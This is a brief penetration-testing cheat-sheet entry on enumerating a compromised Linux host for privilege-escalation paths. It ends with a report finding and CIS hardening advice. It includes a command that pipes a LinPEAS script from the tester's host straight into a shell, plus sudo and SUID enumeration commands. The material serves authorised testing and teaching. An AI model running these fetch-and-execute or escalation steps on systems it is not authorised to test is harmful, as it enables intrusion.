Use when: Linux shell obtained — systematic enumeration to identify privilege escalation paths before attempting exploits.
Think Dumber First: Run LinPEAS first: curl http://[LHOST]/linpeas.sh | sh or python3 -m http.server host it. LinPEAS highlights in red = high-probability privesc paths. Read the red output first. Then check sudo -l and find / -perm -4000 -type f 2>/dev/null.
Skip when: Already root — no privesc needed.
⚡ Tactical Cheatsheet
Command
Tactical Outcome
whoami; id; hostname; ip a
Basic orientation — who, groups, where
sudo -l
Check sudo rights → cross-ref GTFOBins immediately
Finding Title: Linux Privilege Escalation Vector Identified via System Enumeration
Impact: Systematic post-exploitation enumeration identifies misconfigured permissions, SUID binaries, writable service files, or insecure sudo rules that allow a low-privileged user to escalate to root without additional exploitation.
Root Cause: System not hardened to CIS Linux Benchmark standards. Misconfigured permissions, excessive SUID binaries, or insecure sudo rules deployed without security review.
Recommendation: Apply CIS Linux Benchmark hardening. Remove unnecessary SUID/SGID bits. Audit sudo rules for NOPASSWD and unsafe commands. Implement regular Linux hardening assessments.